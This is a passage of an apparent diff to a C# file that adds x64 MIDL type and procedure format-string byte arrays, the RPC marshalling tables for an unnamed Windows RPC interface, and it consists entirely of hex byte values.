0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x0c, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x14, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x18, 0x00, 0x04, 0x00, 0x48, 0x00, 0x1c, 0x00, 0x02, 0x00, 0x48, 0x00, 0x20, 0x00, 0x08, 0x00, 0x1b, 0x20, 0x24, 0x00, 0xd4, 0x06, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x47, 0x07, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x0c, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x48, 0x00, 0x14, 0x00, 0x08, 0x00, 0x1b, 0x20, 0x18, 0x00, 0xd4, 0x06, 0x70, 0x00, 0x1c, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x18, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x05, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x0c, 0x00, 0x04, 0x00, 0x48, 0x00, 0x10, 0x00, 0x08, 0x00, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x10, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x03, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x70, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x18, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x46, 0x05, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x0c, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x18, 0x00, 0x32, 0x00, 0x00, 0x00, 0x35, 0x00, 0x3d, 0x00, 0x47, 0x05, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x1b, 0x20, 0x08, 0x00, 0x08, 0x07, 0x58, 0x01, 0x0c, 0x00, 0x02, 0x00, 0x58, 0x01, 0x10, 0x00, 0x08, 0x00, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x18, 0x00, 0x32, 0x00, 0x00, 0x00, 0x10, 0x00, 0x08, 0x00, 0x46, 0x05, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x48, 0x00, 0x10, 0x00, 0x08, 0x00, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x10, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x46, 0x03, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x70, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x24, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x47, 0x08, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x0c, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x14, 0x00, 0x06, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x1b, 0x20, 0x1c, 0x00, 0xd4, 0x06, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x1c, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x47, 0x06, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x1b, 0x20, 0x14, 0x00, 0xd4, 0x06, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00, 0x1c, 0x00, 0x32, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x06, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x1b, 0x00, 0x10, 0x00, 0xec, 0x03, 0x1a, 0x00, 0x14, 0x00, 0xd0, 0x06, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x24, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x47, 0x08, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x48, 0x00, 0x14, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x18, 0x00, 0x18, 0x07, 0x1b, 0x20, 0x1c, 0x00, 0xd4, 0x06, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x17, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x15, 0x00, 0x08, 0x00, 0x46, 0x07, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x04, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x06, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x48, 0x00, 0x14, 0x00, 0x02, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x1c, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x04, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x06, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x06, 0x00, 0x4c, 0x00, 0x46, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x04, 0x00, 0x0d, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x06, 0x00, 0x12, 0x81, 0x0c, 0x00, 0x26, 0x07, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00 }; + private static byte[] MIDL_TypeFormatStringx64 = new byte[] { 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x20, 0x00, 0x01, 0x00, 0x02, 0x00, 0x08, 0x00, 0x13, 0x30, 0x01, 0x00, 0x00, 0x00, 0x70, 0x00, 0x02, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x03, 0x00, 0x00, 0x00, 0x90, 0x00, 0x04, 0x00, 0x00, 0x00, 0xd4, 0x00, 0x05, 0x00, 0x00, 0x00, 0x1a, 0x01, 0x06, 0x00, 0x00, 0x00, 0x36, 0x01, 0x07, 0x00, 0x00, 0x00, 0x8e, 0x01, 0x08, 0x00, 0x00, 0x00, 0x96, 0x01, 0x09, 0x00, 0x00, 0x00, 0xc4, 0x01, 0x32, 0x00, 0x00, 0x00, 0x02, 0x02, 0x64, 0x00, 0x00, 0x00, 0x08, 0x02, 0x65, 0x00, 0x00, 0x00, 0x14, 0x02, 0x66, 0x00, 0x00, 0x00, 0x0e, 0x02, 0x67, 0x00, 0x00, 0x00, 0x12, 0x02, 0x68, 0x00, 0x00, 0x00, 0x18, 0x02, 0x69, 0x00, 0x00, 0x00, 0x20, 0x02, 0x6a, 0x00, 0x00, 0x00, 0x30, 0x02, 0x6b, 0x00, 0x00, 0x00, 0x38, 0x02, 0x96, 0x00, 0x00, 0x00, 0x5c, 0x02, 0x00, 0x00, 0x12, 0x00, 0x02, 0x00, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x00, 0x02, 0x00, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x08, 0x00, 0x36, 0x36, 0x08, 0x08, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x00, 0x2e, 0x00, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x40, 0x36, 0x36, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x14, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xd8, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x08, 0x00, 0x36, 0x36, 0x08, 0x08, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x20, 0xd2, 0xff, 0x12, 0x00, 0x2a, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x28, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x92, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x38, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x36, 0x36, 0x08, 0x08, 0x4c, 0x00, 0xd0, 0xff, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x20, 0xcc, 0xff, 0x12, 0x00, 0x02, 0x00, 0x1a, 0x03, 0x38, 0x00, 0x00, 0x00, 0x10, 0x00, 0x36, 0x36, 0x08, 0x08, 0x4c, 0x00, 0xac, 0xff, 0x08, 0x08, 0x08, 0x40, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x00, 0x3a, 0x00, 0x15, 0x03, 0x08, 0x00, 0x0e, 0x06, 0x06, 0x5b, 0x1a, 0x03, 0x20, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x08, 0x40, 0x36, 0x36, 0x4c, 0x00, 0xea, 0xff, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x30, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xd4, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x40, 0x00, 0x00, 0x00, 0x10, 0x00, 0x36, 0x36, 0x08, 0x08, 0x4c, 0x00, 0x52, 0xff, 0x08, 0x08, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x20, 0xca, 0xff, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x10, 0x00, 0x4c, 0x00, 0x34, 0xff, 0x5c, 0x5b, 0x12, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x30, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x48, 0x00, 0x00, 0x00, 0x12, 0x00, 0x36, 0x36, 0x08, 0x08, 0x4c, 0x00, 0x12, 0xff, 0x08, 0x08, 0x08, 0x40, 0x36, 0x08, 0x40, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x20, 0xd2, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x40, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x56, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x50, 0x00, 0x00, 0x00, 0x14, 0x00, 0x36, 0x36, 0x08, 0x08, 0x4c, 0x00, 0xd4, 0xfe, 0x08, 0x08, 0x08, 0x40, 0x36, 0x08, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x20, 0x92, 0xff, 0x12, 0x20, 0xc2, 0xff, 0x12, 0x00, 0x02, 0x00, 0x15, 0x07, 0x10, 0x00, 0x08, 0x08, 0x0b, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x04, 0x00, 0x08, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x08, 0x00, 0x08, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x08, 0x00, 0x4c, 0x00, 0xe2, 0xfe, 0x5c, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x08, 0x00, 0x36, 0x08, 0x08, 0x08, 0x08, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x0c, 0x00, 0x08, 0x4c, 0x00, 0xbd, 0xfe, 0x5b, 0x12, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x18, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x28, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x36, 0x08, 0x08, 0x08, 0x08, 0x08, 0x40, 0x36, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xe6, 0xff, 0x11, 0x04, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x20, 0x00, 0x01, 0x00, 0x04, 0xfd, 0x12, 0x00, 0x10, 0x02, 0x2b, 0x09, 0x09, 0x00, 0xf8, 0xff, 0x01, 0x00, 0x02, 0x00, 0x08, 0x00, 0x0a, 0x30, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x02, 0x00, 0x00, 0x00, 0x5e, 0x00, 0x03, 0x00, 0x00, 0x00, 0x82, 0x00, 0x04, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x05, 0x00, 0x00, 0x00, 0xca, 0x00, 0x06, 0x00, 0x00, 0x00, 0xee, 0x00, 0x08, 0x00, 0x00, 0x00, 0x12, 0x01, 0x09, 0x00, 0x00, 0x00, 0x36, 0x01, 0xc8, 0x00, 0x00, 0x00, 0x5a, 0x01, 0x2c, 0x01, 0x00, 0x00, 0x8c, 0x01, 0xff, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x18, 0xfd, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x00, 0xfd, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x1c, 0xfd, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x38, 0xfd, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x32, 0xfd, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x62, 0xfd, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x78, 0xfd, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x18, 0x00, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0x8c, 0xfd, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x26, 0x00, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x12, 0x00, 0x28, 0x00, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x40, 0x36, 0x5b, 0x12, 0x20, 0xdc, 0xff, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x40, 0x4c, 0x00, 0xe6, 0xfd, 0x5c, 0x5b, 0x12, 0x08, 0x08, 0x5c, 0x12, 0x14, 0x02, 0x00, 0x12, 0x00, 0x26, 0x00, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x36, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03, 0x00, 0x00, 0x09, 0x00, 0xf8, 0xff, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x08, 0x00, 0xe6, 0xff, 0x00, 0x00, 0x08, 0x40, 0x5c, 0x5b, 0x11, 0x14, 0x90, 0xfa, 0x11, 0x08, 0x02, 0x5c, 0x11, 0x08, 0x08, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x28, 0x00, 0x01, 0x00, 0x8c, 0xfa, 0x11, 0x04, 0x02, 0x00, 0x15, 0x07, 0x20, 0x00, 0x08, 0x08, 0x0b, 0x08, 0x08, 0x0b, 0x5c, 0x5b }; + private static byte[] MIDL_ProcFormatStringx64 = new byte[] { 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x44, 0x01, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x08, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x38, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x06, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x18, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x20, 0x00, 0x06, 0x00, 0x48, 0x00, 0x28, 0x00, 0x08, 0x00, 0x70, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x46, 0x04, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x18, 0x00, 0x06, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x38, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x06, 0x0a, 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x18, 0x00, 0x06, 0x00, 0x48, 0x00, 0x20, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x28, 0x00, 0x0e, 0x00, 0x70, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x38, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x47, 0x06, 0x0a, 0x03, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x18, 0x00, 0x06, 0x00, 0x48, 0x00, 0x20, 0x00, 0x08, 0x00, 0x13, 0x21, 0x28, 0x00, 0x0c, 0x03, 0x70, 0x00, 0x30, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x30, 0x00, 0x32, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x05, 0x0a, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x48, 0x00, 0x10, 0x00, 0x08, 0x00, 0x1b, 0x00, 0x18, 0x00, 0x16, 0x03, 0x1a, 0x00, 0x20, 0x00, 0x38, 0x05, 0x70, 0x00, 0x28, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x04, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x04, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x58, 0x00, 0x32, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x08, 0x00, 0x47, 0x0a, 0x0a, 0x07, 